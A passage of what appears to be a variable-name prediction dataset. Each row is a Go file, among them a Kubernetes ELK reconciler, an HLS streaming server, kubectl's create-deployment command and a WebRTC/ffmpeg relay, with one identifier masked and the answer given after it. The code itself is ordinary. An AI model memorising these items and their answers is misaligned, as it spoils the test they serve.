func (r *SvElkReconciler) installApmServer(ctx context.Context, svelkInstance *elkv1alpha1.SvElk) error { stepStatus := r.getStepStatus(svelkInstance, ApmServerInstall) if stepStatus == nil { stepStatus = &elkv1alpha1.StepStatus{Step: ApmServerInstall} svelkInstance.Status.StepStatusDetails = append(svelkInstance.Status.StepStatusDetails, *stepStatus) } if stepStatus.Status != StepStatusPass { err := r.runCommand(""/wcp-elk/apm-server/examples/security"", ""sh"", ""./cleanup.sh"", ""observability"") if err != nil { errMsg := ""failed to cleanup apm-server."" r.Log.Error(err, errMsg) stepStatus.Status = StepStatusFail stepStatus.ErrorMsg = fmt.Sprintf(errMsg+"": %+v"", err) r.updateSvElkInstance(ctx, svelkInstance, stepStatus) return err } err = r.runCommand(""/wcp-elk/apm-server/examples/security"", ""sh"", ""./install.sh"", ""observability"") if err != nil { errMsg := ""failed to install apm-server."" r.Log.Error(err, errMsg) stepStatus.Status = StepStatusFail stepStatus.ErrorMsg = fmt.Sprintf(errMsg+"": %+v"", err) r.updateSvElkInstance(ctx, svelkInstance, stepStatus) return err } // Success case stepStatus.Status = StepStatusPass stepStatus.ErrorMsg = """" err = r.updateSvElkInstance(ctx, svelkInstance, stepStatus) if err != nil { r.Log.Error(err, ""Failed to mark APMSERVER_INSTALL as success."") return err } } return nil } func (r *SvElkReconciler) installMetricBeat(ctx context.Context, svelkInstance *elkv1alpha1.SvElk) error { stepStatus := r.getStepStatus(svelkInstance, MetricBeatInstall) if stepStatus == nil { stepStatus = &elkv1alpha1.StepStatus{Step: MetricBeatInstall} svelkInstance.Status.StepStatusDetails = append(svelkInstance.Status.StepStatusDetails, *stepStatus) } if stepStatus.Status != StepStatusPass { err := r.runCommand(""/wcp-elk/metricbeat/examples/security"", ""sh"", ""./cleanup.sh"", ""observability"") if err != nil { errMsg := ""failed to cleanup metricbeat."" r.Log.Error(err, errMsg) stepStatus.Status = StepStatusFail stepStatus.ErrorMsg = fmt.Sprintf(errMsg+"": %+v"", err) r.updateSvElkInstance(ctx, svelkInstance, stepStatus) return err } err = r.runCommand(""/wcp-elk/metricbeat/examples/security"", ""sh"", ""./install.sh"", ""observability"") if err != nil { errMsg := ""failed to install metricbeat."" r.Log.Error(err, errMsg) stepStatus.Status = StepStatusFail stepStatus.ErrorMsg = fmt.Sprintf(errMsg+"": %+v"", err) r.updateSvElkInstance(ctx, svelkInstance, stepStatus) return err } // Success case stepStatus.Status = StepStatusPass stepStatus.ErrorMsg = """" err = r.updateSvElkInstance(ctx, svelkInstance, stepStatus) if err != nil { r.Log.Error(err, ""Failed to mark METRICBEAT_INSTALL as success."") return err } } return nil } func (r *SvElkReconciler) installFileBeat(ctx context.Context, svelkInstance *elkv1alpha1.SvElk) error { stepStatus := r.getStepStatus(svelkInstance, FileBeatInstall) if stepStatus == nil { stepStatus = &elkv1alpha1.StepStatus{Step: FileBeatInstall} svelkInstance.Status.StepStatusDetails = append(svelkInstance.Status.StepStatusDetails, *stepStatus) } if stepStatus.Status != StepStatusPass { err := r.runCommand(""/wcp-elk/filebeat/examples/security"", ""sh"", ""./cleanup.sh"", ""vmware-system-beats"") if err != nil { errMsg := ""failed to cleanup file beat."" r.Log.Error(err, errMsg) stepStatus.Status = StepStatusFail stepStatus.ErrorMsg = fmt.Sprintf(errMsg+"": %+v"", err) r.updateSvElkInstance(ctx, svelkInstance, stepStatus) return err } err = r.runCommand(""/wcp-elk/filebeat/examples/security"", ""sh"", ""./install.sh"", ""vmware-system-beats"") if err != nil { errMsg := ""failed to install file beat."" r.Log.Error(err, errMsg) stepStatus.Status = StepStatusFail stepStatus.ErrorMsg = fmt.Sprintf(errMsg+"": %+v"", err) r.updateSvElkInstance(ctx, svelkInstance, stepStatus) return err } // Success case stepStatus.Status = StepStatusPass stepStatus.ErrorMsg = """" err = r.updateSvElkInstance(ctx, svelkInstance, stepStatus) if err != nil { r.Log.Error(err, ""Failed to mark FILEBEAT_INSTALL as success."") return err } } return nil } func (r *SvElkReconciler) installKibana(ctx context.Context, svelkInstance *elkv1alpha1.SvElk) error { stepStatus := r.getStepStatus(svelkInstance, KibanaInstall) if stepStatus == nil { stepStatus = &elkv1alpha1.StepStatus{Step: KibanaInstall} svelkInstance.Status.StepStatusDetails = append(svelkInstance.Status.StepStatusDetails, *stepStatus) } if stepStatus.Status != StepStatusPass { err := r.runCommand(""/wcp-elk/kibana/examples/security"", ""sh"", ""./cleanup.sh"", ""observability"") if err != nil { errMsg := ""failed to cleanup kibana."" r.Log.Error(err, errMsg) stepStatus.Status = StepStatusFail stepStatus.ErrorMsg = fmt.Sprintf(errMsg+"": %+v"", err) r.updateSvElkInstance(ctx, svelkInstance, stepStatus) return err } err = r.runCommand(""/wcp-elk/kibana/examples/security"", ""sh"", ""./install.sh"", ""observability"") if err != nil { errMsg := ""failed to install kibana."" r.Log.Error(err, errMsg) stepStatus.Status = StepStatusFail stepStatus.ErrorMsg = fmt.Sprintf(errMsg+"": %+v"", err) r.updateSvElkInstance(ctx, svelkInstance, stepStatus) return err } // Success case stepStatus.Status = StepStatusPass stepStatus.ErrorMsg = """" err = r.updateSvElkInstance(ctx, svelkInstance, stepStatus) if err != nil { r.Log.Error(err, ""Failed to mark KIBANA_INSTALL as success."") return err } } return nil } func (r *SvElkReconciler) installElasticSearch(ctx context.Context, svelkInstance *elkv1alpha1.SvElk) error { stepStatus := r.getStepStatus(svelkInstance, EsInstall) if stepStatus == nil { stepStatus = &elkv1alpha1.StepStatus{Step: EsInstall} svelkInstance.Status.StepStatusDetails = append(svelkInstance.Status.StepStatusDetails, *stepStatus) } if stepStatus.Status != StepStatusPass { err := r.runCommand(""/wcp-elk/elasticsearch/examples/security"", ""sh"", ""./cleanup.sh"", ""observability"") if err != nil { errMsg := ""failed to cleanup elastic search."" r.Log.Error(err, errMsg) stepStatus.Status = StepStatusFail stepStatus.ErrorMsg = fmt.Sprintf(errMsg+"": %+v"", err) r.updateSvElkInstance(ctx, svelkInstance, stepStatus) return err } err = r.runCommand(""/wcp-elk/elasticsearch/examples/security"", ""sh"", ""./install.sh"", ""observability"") if err != nil { errMsg := ""failed to install elastic search."" r.Log.Error(err, errMsg) stepStatus.Status = StepStatusFail stepStatus.ErrorMsg = fmt.Sprintf(errMsg+"": %+v"", err) r.updateSvElkInstance(ctx, svelkInstance, stepStatus) return err } // Success case stepStatus.Status = StepStatusPass stepStatus.ErrorMsg = """" err = r.updateSvElkInstance(ctx, svelkInstance, stepStatus) if err != nil { r.Log.Error(err, ""Failed to mark ES_INSTALL as success."") return err } } return nil } func (r *SvElkReconciler) createEsSecrets(ctx context.Context, svelkInstance *elkv1alpha1.SvElk) error { stepStatus := r.getStepStatus(svelkInstance, EsCreateSecret) if stepStatus == nil { stepStatus = &elkv1alpha1.StepStatus{Step: EsCreateSecret} svelkInstance.Status.StepStatusDetails = append(svelkInstance.Status.StepStatusDetails, *stepStatus) } if stepStatus.Status != StepStatusPass { err := r.runCommand(""/wcp-elk/elasticsearch/examples/security"", ""sh"", ""./delete_secrets.sh"", ""observability"") if err != nil { errMsg := ""failed to delete elastic search secrets."" r.Log.Error(err, errMsg) stepStatus.Status = StepStatusFail stepStatus.ErrorMsg = fmt.Sprintf(errMsg+"": %+v"", err) r.updateSvElkInstance(ctx, svelkInstance, stepStatus) return err } err = r.runCommand(""/wcp-elk/elasticsearch/examples/security"", ""sh"", ""./create_secrets.sh"", ""observability"") if err != nil { errMsg := ""failed to create elastic search secrets."" r.Log.Error(err, errMsg) stepStatus.Status = StepStatusFail stepStatus.ErrorMsg = fmt.Sprintf(errMsg+"": %+v"", err) r.updateSvElkInstance(ctx, svelkInstance, stepStatus) return err } // Success case stepStatus.Status = StepStatusPass stepStatus.ErrorMsg = """" err = r.updateSvElkInstance(ctx, svelkInstance, stepStatus) if err != nil { r.Log.Error(err, ""Failed to mark ES_CREATE_SECRET as success."") return err } } return nil } func (r *SvElkReconciler) updateSvElkInstance(ctx context.Context, elk *elkv1alpha1.SvElk, stepStatus *elkv1alpha1.StepStatus) error { for i, ssd := range elk.Status.StepStatusDetails { if ssd.Step == stepStatus.Step { elk.Status.StepStatusDetails[i] = *stepStatus } } r.Log.Info(fmt.Sprintf(""Updating SvElk: %+v. StepStatus: %+v"", elk, stepStatus)) err := r.Status().Update(ctx, elk) if err != nil { r.Log.Error(err, fmt.Sprintf(""Failed to update elk: %+v"", elk)) } return err } // SetupWithManager sets up the controller with the Manager. func (r *SvElkReconciler) SetupWithManager(mgr ctrl.Manager) error { return ctrl.NewControllerManagedBy(mgr). For(&elkv1alpha1.SvElk{}). Complete(r) } func (r *SvElkReconciler) getStepStatus(elk *elkv1alpha1.SvElk, step string) *elkv1alpha1.StepStatus { if len(elk.Status.StepStatusDetails) == 0 { return nil } for _, ssd := range elk.Status.StepStatusDetails { if ssd.Step == step { return &ssd } } return nil } func (r *SvElkReconciler) runCommand(dir string, command string, args ...string) error { cmd := exec.Command(command, args...) cmd.Dir = dir var [MASK] bytes.Buffer mw := io.MultiWriter(os.Stdout, & [MASK] ) cmd.Stdout = mw cmd.Stderr = mw // Execute the command err := cmd.Run() r.Log.Info( [MASK] .String()) return err } ",stdBuffer 261,"package main import ( ""os"" ""os/exec"" ) type app struct { name string version string } func directoryStructure(appName string, mode os.FileMode) { src := ""./src"" style := ""./style"" images := ""./images"" os.Mkdir(appName, mode) os.Mkdir(src, mode) os.Mkdir(style, mode) os.Mkdir(images, mode) } func generateHTML(rootDir string) { // This defines the html document. html := ""\n"" html += ""\n"" html += ""\n"" html += ""\n"" html += ""

Oolong

\n"" html += ""\n"" html += ""\n"" index, err := os.Create(""./index.html"") if err != nil { panic(err) } index.WriteString(html) index.Sync() index.Close() } func generateWebServer() { var [MASK] string [MASK] = ""package main\n\n"" [MASK] += ""import \""net/http\""\n"" [MASK] += ""import \""fmt\""\n\n"" [MASK] += ""func main() {\n"" [MASK] += "" mux := http.NewServeMux()\n"" [MASK] += "" files := http.FileServer(http.Dir(config.Static))\n"" [MASK] += "" mux.Handle(\""/static/\"",http.StripPrefix(\""/static\"",files))"" [MASK] += "" mux.HandleFunc(\""/\"", index)\n"" [MASK] += "" http.ListenAndServe(\"":5000\"", mux)\n"" [MASK] += ""}"" server, err := os.Create(""./src/server.go"") if err != nil { panic(err) } server.WriteString( [MASK] ) server.Sync() server.Close() } func compileWebServer() { server := exec.Command(""go"", ""build"", ""-o"", ""server"", ""./src/server.go"") execServer := exec.Command(""./src/server"") server.Run() execServer.Run() } func main() { var appName string var version string appName = os.Args[1] version = os.Args[2] app := new(app) app.name = appName app.version = version directoryStructure(app.name, os.FileMode(0755)) generateHTML(app.name) generateWebServer() compileWebServer() } ",serverString 262,"package main import ( ""flag"" ""fmt"" ""io/ioutil"" ""log"" ""net/http"" ""os"" ""os/exec"" ""path/filepath"" ""runtime"" ""strconv"" ""time"" ""github.com/gabriel-vasile/mimetype"" ) const playlistM3U8 = ""stream.m3u8"" func main() { host := flag.String(""h"", """", ""Host m3u8 streaming (Opcional)"") port := flag.Int(""p"", 8100, ""Porta m3u8 streaming (Opcional)"") video := flag.String(""v"", """", ""Caminho arquivo MP4 (Obrigatorio)"") flag.Parse() RemoveContents() if isMP4(*video) { flag.PrintDefaults() os.Exit(1) } go playList(*video) [MASK] := filepath.Join(filepath.Dir(os.Args[0]), ""stream"") handler := addHeaders(http.FileServer(http.Dir( [MASK] ))) http.Handle(""/"", handler) s := &http.Server{ Addr: *host + "":"" + strconv.Itoa(*port), Handler: handler, ReadTimeout: 3 * time.Second, WriteTimeout: 10 * time.Second, MaxHeaderBytes: 1 << 20, } err := s.ListenAndServe() if err != nil { fmt.Println(err) runtime.Goexit() os.Exit(1) } } func isMP4(file string) bool { f, err := os.Open(file) defer f.Close() if err != nil { log.Fatal(err) } data, err := ioutil.ReadAll(f) if err != nil { log.Fatal(err) } if mime := mimetype.Detect(data); mime.Is(""audio/mp4"") { return true } else { return false } } func RemoveContents() { os.RemoveAll(filepath.Join(filepath.Dir(os.Args[0]), ""stream"")) os.MkdirAll(filepath.Join(filepath.Dir(os.Args[0]), ""stream""), 0777) } func playList(video string) { filePath := filepath.Join(filepath.Dir(os.Args[0]), ""stream"", playlistM3U8) cmdArguments := []string{ ""-threads"", ""2"", ""-re"", ""-fflags"", ""+genpts"", ""-stream_loop"", ""-1"", ""-i"", video, ""-c"", ""copy"", filePath, } cmd := exec.Command(""ffmpeg"", cmdArguments...) cmd.Start() } func addHeaders(h http.Handler) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { w.Header().Set(""Content-Type"", ""text/event-stream"") w.Header().Set(""Cache-Control"", ""no-cache"") w.Header().Set(""Connection"", ""keep-alive"") w.Header().Set(""Access-Control-Allow-Origin"", ""*"") h.ServeHTTP(w, r) } } ",serverFolder 263,"/* Copyright 2018 the Gimbal contributors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( ""context"" ""flag"" ""fmt"" ""net/http"" ""os"" ""time"" ""github.com/projectcontour/gimbal/pkg/buildinfo"" ""github.com/projectcontour/gimbal/pkg/k8s"" localmetrics ""github.com/projectcontour/gimbal/pkg/metrics"" ""github.com/projectcontour/gimbal/pkg/signals"" ""github.com/projectcontour/gimbal/pkg/util"" ""github.com/prometheus/client_golang/prometheus/promhttp"" ""github.com/sirupsen/logrus"" _ ""k8s.io/api/core/v1"" kubeinformers ""k8s.io/client-go/informers"" ) var ( printVersion bool gimbalKubeCfgFile string discovererKubeCfgFile string numProcessThreads int backendName string resyncInterval time.Duration debug bool prometheusListenPort int discovererMetrics localmetrics.DiscovererMetrics gimbalKubeClientQPS float64 gimbalKubeClientBurst int ) func init() { flag.BoolVar(&printVersion, ""version"", false, ""Show version and quit"") flag.IntVar(&numProcessThreads, ""num-threads"", 2, ""Specify number of threads to use when processing queue items."") flag.StringVar(&gimbalKubeCfgFile, ""gimbal-kubecfg-file"", """", ""Location of kubecfg file for access to gimbal system kubernetes api, defaults to service account tokens"") flag.StringVar(&discovererKubeCfgFile, ""discover-kubecfg-file"", """", ""Location of kubecfg file for access to remote discover system kubernetes api"") flag.StringVar(&backendName, ""backend-name"", """", ""Name of backend (must be unique)"") flag.DurationVar(&resyncInterval, ""resync-interval"", time.Minute*30, ""Default resync period for watcher to refresh"") flag.BoolVar(&debug, ""debug"", false, ""Enable debug logging."") flag.IntVar(&prometheusListenPort, ""prometheus-listen-address"", 8080, ""The address to listen on for Prometheus HTTP requests"") flag.Float64Var(&gimbalKubeClientQPS, ""gimbal-client-qps"", 5, ""The maximum queries per second (QPS) that can be performed on the Gimbal Kubernetes API server"") flag.IntVar(&gimbalKubeClientBurst, ""gimbal-client-burst"", 10, ""The maximum number of queries that can be performed on the Gimbal Kubernetes API server during a burst"") flag.Parse() } func main() { var log = logrus.New() log.Formatter = util.GetFormatter() if printVersion { fmt.Println(""kubernetes-discoverer"") fmt.Printf(""Version: %s\n"", buildinfo.Version) fmt.Printf(""Git commit: %s\n"", buildinfo.GitSHA) fmt.Printf(""Git tree state: %s\n"", buildinfo.GitTreeState) os.Exit(0) } log.Info(""Gimbal Kubernetes Discoverer Starting up..."") log.Infof(""Version: %s"", buildinfo.Version) log.Infof(""Backend name: %s"", backendName) log.Infof(""Number of queue worker threads: %d"", numProcessThreads) log.Infof(""Resync interval: %v"", resyncInterval) log.Infof(""Gimbal kubernetes client QPS: %v"", gimbalKubeClientQPS) log.Infof(""Gimbal kubernetes client burst: %d"", gimbalKubeClientBurst) // Init prometheus metrics discovererMetrics = localmetrics.NewMetrics(""kubernetes"", backendName) discovererMetrics.RegisterPrometheus(true) // Log info metric discovererMetrics.DiscovererInfoMetric(buildinfo.Version) if debug { log.Level = logrus.DebugLevel } // Verify cluster name is passed if util.IsInvalidBackendName(backendName) { log.Fatalf(""The Kubernetes cluster name must be provided using the `--backend-name` flag or the one passed is invalid"") } log.Infof(""BackendName is: %s"", backendName) // Discovered cluster is passed if discovererKubeCfgFile == """" { log.Fatalf(""`discover-kubecfg-file` arg is required!"") } // Init gimbalKubeClient, err := k8s.NewClientWithQPS(gimbalKubeCfgFile, log, float32(gimbalKubeClientQPS), gimbalKubeClientBurst) if err != nil { log.Fatal(""Could not init k8sclient! "", err) } k8sDiscovererClient, err := k8s.NewClient(discovererKubeCfgFile, log) if err != nil { log.Fatal(""Could not init k8s discoverer client! "", err) } log.Info(""Starting shared informer, resync interval is: "", resyncInterval) kubeInformerFactory := kubeinformers.NewSharedInformerFactory(k8sDiscovererClient, resyncInterval) c := k8s.NewController(log, gimbalKubeClient, kubeInformerFactory, backendName, numProcessThreads, discovererMetrics) if err != nil { log.Fatal(""Could not init Controller! "", err) } // set up signals so we handle the first shutdown signal gracefully stopCh := signals.SetupSignalHandler() go kubeInformerFactory.Start(stopCh) go func() { // Expose the registered metrics via HTTP. http.Handle(""/metrics"", promhttp.HandlerFor(discovererMetrics.Registry, promhttp.HandlerOpts{})) [MASK] := &http.Server{Addr: fmt.Sprintf("":%d"", prometheusListenPort)} log.Info(""Listening for Prometheus metrics on port: "", prometheusListenPort) if err := [MASK] .ListenAndServe(); err != nil { log.Fatal(err) } <-stopCh log.Info(""Shutting down Prometheus server..."") ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() if err := [MASK] .Shutdown(ctx); err != nil { log.Fatal(err) } }() // Kick it off if err = c.Run(stopCh); err != nil { log.Fatalf(""Error running controller: %s"", err.Error()) } } ",srv 264,"/* Copyright 2016 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package create import ( ""context"" ""fmt"" ""strings"" ""github.com/spf13/cobra"" appsv1 ""k8s.io/api/apps/v1"" v1 ""k8s.io/api/core/v1"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/runtime"" utilrand ""k8s.io/apimachinery/pkg/util/rand"" ""k8s.io/cli-runtime/pkg/genericclioptions"" ""k8s.io/cli-runtime/pkg/resource"" appsv1client ""k8s.io/client-go/kubernetes/typed/apps/v1"" cmdutil ""k8s.io/kubectl/pkg/cmd/util"" ""k8s.io/kubectl/pkg/scheme"" ""k8s.io/kubectl/pkg/util/i18n"" ""k8s.io/kubectl/pkg/util/templates"" ) var ( deploymentLong = templates.LongDesc(i18n.T(` Create a deployment with the specified name.`)) deploymentExample = templates.Examples(i18n.T(` # Create a new deployment named my-dep that runs the busybox image. kubectl create deployment my-dep --image=busybox`)) ) // DeploymentOpts is returned by NewCmdCreateDeployment type DeploymentOpts struct { PrintFlags *genericclioptions.PrintFlags PrintObj func(obj runtime.Object) error Name string Images []string Namespace string EnforceNamespace bool FieldManager string Client appsv1client.AppsV1Interface DryRunStrategy cmdutil.DryRunStrategy DryRunVerifier *resource.DryRunVerifier genericclioptions.IOStreams } // NewCmdCreateDeployment is a macro command to create a new deployment. // This command is better known to users as `kubectl create deployment`. func NewCmdCreateDeployment(f cmdutil.Factory, [MASK] genericclioptions.IOStreams) *cobra.Command { options := &DeploymentOpts{ PrintFlags: genericclioptions.NewPrintFlags(""created"").WithTypeSetter(scheme.Scheme), IOStreams: [MASK] , } cmd := &cobra.Command{ Use: ""deployment NAME --image=image [--dry-run=server|client|none]"", DisableFlagsInUseLine: true, Aliases: []string{""deploy""}, Short: deploymentLong, Long: deploymentLong, Example: deploymentExample, Run: func(cmd *cobra.Command, args []string) { cmdutil.CheckErr(options.Complete(f, cmd, args)) cmdutil.CheckErr(options.Run()) }, } options.PrintFlags.AddFlags(cmd) cmdutil.AddApplyAnnotationFlags(cmd) cmdutil.AddValidateFlags(cmd) cmdutil.AddGeneratorFlags(cmd, """") cmd.Flags().StringSliceVar(&options.Images, ""image"", []string{}, ""Image name to run."") _ = cmd.MarkFlagRequired(""image"") cmdutil.AddFieldManagerFlagVar(cmd, &options.FieldManager, ""kubectl-create"") return cmd } // Complete completes all the options func (o *DeploymentOpts) Complete(f cmdutil.Factory, cmd *cobra.Command, args []string) error { name, err := NameFromCommandArgs(cmd, args) if err != nil { return err } o.Name = name clientConfig, err := f.ToRESTConfig() if err != nil { return err } o.Client, err = appsv1client.NewForConfig(clientConfig) if err != nil { return err } o.Namespace, o.EnforceNamespace, err = f.ToRawKubeConfigLoader().Namespace() if err != nil { return err } o.DryRunStrategy, err = cmdutil.GetDryRunStrategy(cmd) if err != nil { return err } dynamicClient, err := f.DynamicClient() if err != nil { return err } discoveryClient, err := f.ToDiscoveryClient() if err != nil { return err } o.DryRunVerifier = resource.NewDryRunVerifier(dynamicClient, discoveryClient) cmdutil.PrintFlagsWithDryRunStrategy(o.PrintFlags, o.DryRunStrategy) printer, err := o.PrintFlags.ToPrinter() if err != nil { return err } o.PrintObj = func(obj runtime.Object) error { return printer.PrintObj(obj, o.Out) } return nil } // Run performs the execution of 'create deployment' sub command func (o *DeploymentOpts) Run() error { one := int32(1) labels := map[string]string{""app"": o.Name} selector := metav1.LabelSelector{MatchLabels: labels} namespace := """" if o.EnforceNamespace { namespace = o.Namespace } deploy := &appsv1.Deployment{ TypeMeta: metav1.TypeMeta{APIVersion: appsv1.SchemeGroupVersion.String(), Kind: ""Deployment""}, ObjectMeta: metav1.ObjectMeta{ Name: o.Name, Labels: labels, Namespace: namespace, }, Spec: appsv1.DeploymentSpec{ Replicas: &one, Selector: &selector, Template: v1.PodTemplateSpec{ ObjectMeta: metav1.ObjectMeta{ Labels: labels, }, Spec: o.buildPodSpec(), }, }, } if o.DryRunStrategy != cmdutil.DryRunClient { createOptions := metav1.CreateOptions{} if o.FieldManager != """" { createOptions.FieldManager = o.FieldManager } if o.DryRunStrategy == cmdutil.DryRunServer { if err := o.DryRunVerifier.HasSupport(deploy.GroupVersionKind()); err != nil { return err } createOptions.DryRun = []string{metav1.DryRunAll} } var err error deploy, err = o.Client.Deployments(o.Namespace).Create(context.TODO(), deploy, createOptions) if err != nil { return fmt.Errorf(""failed to create deployment: %v"", err) } } return o.PrintObj(deploy) } // buildPodSpec parses the image strings and assemble them into the Containers // of a PodSpec. This is all you need to create the PodSpec for a deployment. func (o *DeploymentOpts) buildPodSpec() v1.PodSpec { podSpec := v1.PodSpec{Containers: []v1.Container{}} for _, imageString := range o.Images { // Retain just the image name imageSplit := strings.Split(imageString, ""/"") name := imageSplit[len(imageSplit)-1] // Remove any tag or hash if strings.Contains(name, "":"") { name = strings.Split(name, "":"")[0] } if strings.Contains(name, ""@"") { name = strings.Split(name, ""@"")[0] } name = sanitizeAndUniquify(name) podSpec.Containers = append(podSpec.Containers, v1.Container{Name: name, Image: imageString}) } return podSpec } // sanitizeAndUniquify replaces characters like ""."" or ""_"" into ""-"" to follow DNS1123 rules. // Then add random suffix to make it uniquified. func sanitizeAndUniquify(name string) string { if strings.ContainsAny(name, ""_."") { name = strings.Replace(name, ""_"", ""-"", -1) name = strings.Replace(name, ""."", ""-"", -1) name = fmt.Sprintf(""%s-%s"", name, utilrand.String(5)) } return name } ",ioStreams 265,"package main import ( ""bufio"" ""fmt"" ""log"" ""net"" ""net/http"" ""os/exec"" ""sync"" ""github.com/pion/rtp"" ""github.com/pion/webrtc/v4"" ) // Global port counter with mutex for thread safety var ( nextPort = 5004 portMux sync.Mutex ) func findAvailablePort(startPort int) int { // Try ports until we find an available one port := startPort for { addr := fmt.Sprintf("":%d"", port) conn, err := net.ListenPacket(""udp"", addr) if err == nil { conn.Close() return port } log.Printf(""Port %d is unavailable, trying port %d"", port, port+1) port++ // Avoid excessive looping if port > 65000 { port = 5004 // Reset to start if we've gone too high } } } // getNextPort returns a unique port number for each connection func getNextPort() int { portMux.Lock() defer portMux.Unlock() availablePort := findAvailablePort(nextPort) nextPort = availablePort + 1 return availablePort } func main() { // Setup media engine m := webrtc.MediaEngine{} err := m.RegisterCodec(webrtc.RTPCodecParameters{ RTPCodecCapability: webrtc.RTPCodecCapability{ MimeType: webrtc.MimeTypeH264, ClockRate: 90000, SDPFmtpLine: ""level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f"", RTCPFeedback: nil, }, PayloadType: 96, }, webrtc.RTPCodecTypeVideo) if err != nil { log.Fatal(""Failed to register codec:"", err) } // Setup ICE settings settingEngine := webrtc.SettingEngine{} // Optional: Configure port range for WebRTC/ICE (separate from our ffmpeg ports) // This restricts what ports ICE will use for media settingEngine.SetEphemeralUDPPortRange(10000, 20000) // Create the API with our settings api := webrtc.NewAPI( webrtc.WithMediaEngine(&m), webrtc.WithSettingEngine(settingEngine), ) http.HandleFunc(""/offer"", func(w http.ResponseWriter, r *http.Request) { log.Println(""[/offer] Received SDP offer"") // Allow CORS so browser clients can reach us w.Header().Set(""Access-Control-Allow-Origin"", ""*"") // Optional: preflight support if you add complex headers/methods if r.Method == http.MethodOptions { w.Header().Set(""Access-Control-Allow-Methods"", ""POST, OPTIONS"") w.Header().Set(""Access-Control-Allow-Headers"", ""Content-Type"") w.WriteHeader(http.StatusNoContent) return } offerSDP := r.FormValue(""sdp"") if offerSDP == """" { http.Error(w, ""missing SDP"", http.StatusBadRequest) log.Println(""[/offer] Missing SDP in POST body"") return } log.Println(""[/offer] SDP offer length:"", len(offerSDP)) // ICE servers configuration webrtcConfig := webrtc.Configuration{ ICEServers: []webrtc.ICEServer{ { URLs: []string{""stun:stun.l.google.com:19302""}, }, /* // For production, replace with your own TURN server credentials // Example for a service like Twilio or your custom TURN server { URLs: []string{""turn:global.turn.twilio.com:3478?transport=udp""}, Username: ""your_username_here"", // Replace with actual credentials Credential: ""your_credential_here"", // Replace with actual credentials }, */ }, } peerConnection, err := api.NewPeerConnection(webrtcConfig) if err != nil { log.Println(""[/offer] Error creating PeerConnection:"", err) http.Error(w, ""failed to create PeerConnection"", http.StatusInternalServerError) return } // Add connection state callback peerConnection.OnConnectionStateChange(func(state webrtc.PeerConnectionState) { log.Printf(""[PeerConnection] State changed to %s\n"", state.String()) if state == webrtc.PeerConnectionStateClosed || state == webrtc.PeerConnectionStateFailed || state == webrtc.PeerConnectionStateDisconnected { log.Println(""[PeerConnection] Cleaning up connection"") if err := peerConnection.Close(); err != nil { log.Println(""[PeerConnection] Error closing connection:"", err) } } }) videoTrack, err := webrtc.NewTrackLocalStaticRTP( webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264}, ""video"", ""pion"", ) if err != nil { log.Println(""[/offer] Error creating video track:"", err) http.Error(w, ""failed to create track"", http.StatusInternalServerError) return } _, err = peerConnection.AddTrack(videoTrack) if err != nil { log.Println(""[/offer] Error adding video track:"", err) http.Error(w, ""failed to add track"", http.StatusInternalServerError) return } offer := webrtc.SessionDescription{ Type: webrtc.SDPTypeOffer, SDP: offerSDP, } if err := peerConnection.SetRemoteDescription(offer); err != nil { log.Println(""[/offer] Error setting remote description:"", err) http.Error(w, ""invalid SDP"", http.StatusBadRequest) return } log.Println(""[/offer] Remote description set successfully"") answer, err := peerConnection.CreateAnswer(nil) if err != nil { log.Println(""[/offer] Error creating answer:"", err) http.Error(w, ""failed to create answer"", http.StatusInternalServerError) return } if err := peerConnection.SetLocalDescription(answer); err != nil { log.Println(""[/offer] Error setting local description:"", err) http.Error(w, ""failed to set local description"", http.StatusInternalServerError) return } // Get a unique port for this connection port := getNextPort() log.Printf(""[/offer] Starting ffmpeg and RTP relay on port %d\n"", port) go startFFmpeg(videoTrack, port) <-webrtc.GatheringCompletePromise(peerConnection) log.Println(""[/offer] ICE gathering complete, returning answer SDP"") w.Write([]byte(peerConnection.LocalDescription().SDP)) }) log.Println(""Server listening on :8080"") log.Fatal(http.ListenAndServe("":8080"", nil)) } func startFFmpeg(videoTrack *webrtc.TrackLocalStaticRTP, port int) { addr := fmt.Sprintf("":%d"", port) log.Printf(""[ffmpeg:%d] Starting ffmpeg with RTP output to %s"", port, addr) cmd := exec.Command(""ffmpeg"", ""-re"", ""-stream_loop"", ""-1"", ""-i"", ""test.mp4"", ""-an"", ""-c:v"", ""libx264"", ""-f"", ""rtp"", fmt.Sprintf(""rtp://127.0.0.1:%d"", port), ) stderr, _ := cmd.StderrPipe() go func() { [MASK] := bufio.NewScanner(stderr) for [MASK] .Scan() { log.Printf(""[ffmpeg:%d] %s"", port, [MASK] .Text()) } }() if err := cmd.Start(); err != nil { log.Printf(""[ffmpeg:%d] Failed to start: %v"", port, err) return } conn, err := net.ListenPacket(""udp"", addr) if err != nil { log.Printf(""[ffmpeg:%d] Failed to listen for RTP: %v"", port, err) return } defer conn.Close() log.Printf(""[ffmpeg:%d] Listening for RTP packets on %s"", port, addr) buf := make([]byte, 1500) for { n, _, err := conn.ReadFrom(buf) if err != nil { log.Printf(""[ffmpeg:%d] RTP read error: %v"", port, err) break } packet := &rtp.Packet{} if err := packet.Unmarshal(buf[:n]); err != nil { log.Printf(""[ffmpeg:%d] RTP unmarshal error: %v"", port, err) continue } if err := videoTrack.WriteRTP(packet); err != nil { log.Printf(""[ffmpeg:%d] RTP write error: %v"", port, err) break } } } ",scanner 266,"/* Copyright 2024 Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" 